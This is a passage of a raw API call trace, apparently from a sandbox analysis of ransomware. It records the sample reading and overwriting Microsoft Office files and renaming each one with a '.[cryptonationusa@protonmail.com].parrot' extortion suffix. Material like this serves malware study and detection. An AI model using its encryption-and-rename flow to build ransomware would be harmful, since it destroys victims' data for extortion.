hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0171.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0171.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0171.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0171.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0171.309] WriteFile (in: hFile=0x27c, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0171.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0171.310] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.310] CloseHandle (hObject=0x27c) returned 1 [0171.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.313] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.313] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.314] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0171.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.362] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.362] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.363] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.364] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76b, lpOverlapped=0x0) returned 1 [0171.364] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0171.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.370] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.380] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.380] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332, lpOverlapped=0x0) returned 1 [0171.380] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0171.386] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.387] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.388] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.388] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bc8, lpOverlapped=0x0) returned 1 [0171.389] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22cc0a0 | out: hHeap=0x5b0000) returned 1 [0171.395] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.396] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.401] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.401] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3cebf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3cebf, lpOverlapped=0x0) returned 1 [0171.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b8498 | out: hHeap=0x5b0000) returned 1 [0171.425] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.425] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.429] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.429] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0171.429] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\JADE.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\jade.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0171.436] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.437] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.477] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9980, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9980, lpOverlapped=0x0) returned 1 [0171.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0171.491] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.491] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.492] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.492] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a780, lpOverlapped=0x0) returned 1 [0171.495] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0171.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.505] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.548] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.549] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b80, lpOverlapped=0x0) returned 1 [0171.553] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.553] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0171.560] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.560] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.566] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.566] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x58c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x58c, lpOverlapped=0x0) returned 1 [0171.567] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0171.572] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.572] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.574] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.574] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.605] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.605] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0171.608] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.608] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.611] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa3f98c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.611] CloseHandle (hObject=0x284) returned 1 [0171.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0171.620] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.620] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.622] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.622] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x290, lpOverlapped=0x0) returned 1 [0171.622] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.626] HeapFree (in: 